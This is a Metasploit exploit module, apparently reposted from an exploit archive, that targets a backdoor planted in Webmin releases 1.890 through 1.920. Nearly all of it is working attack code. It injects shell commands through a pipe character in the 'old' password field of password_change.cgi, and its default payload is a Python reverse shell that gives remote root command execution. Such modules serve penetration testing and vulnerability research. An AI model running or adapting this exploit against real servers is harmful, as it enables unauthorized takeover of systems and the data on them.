Webmin 1.920 – Unauthenticated Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.920 Unauthenticated RCE', 'Description' => %q{ This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-'], ['URL', 'https://www.pentest.com.tr'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.910', {}]], 'DisclosureDate' => 'May 16 2019', 'DefaultTarget' => 0) ) register_options [ OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Target and input verification ## def check # check passwd change priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "password_change.cgi"), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" }) if res && res.code == 200 && res.body =~ /Failed/ res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss" }) if res && res.code == 200 && res.body =~ /password_change.cgi/ return CheckCode::Vulnerable else return CheckCode::Safe end else return CheckCode::Safe end end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end command = payload.encoded print_status("Attempting to execute the payload...") handler res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss" }) end end |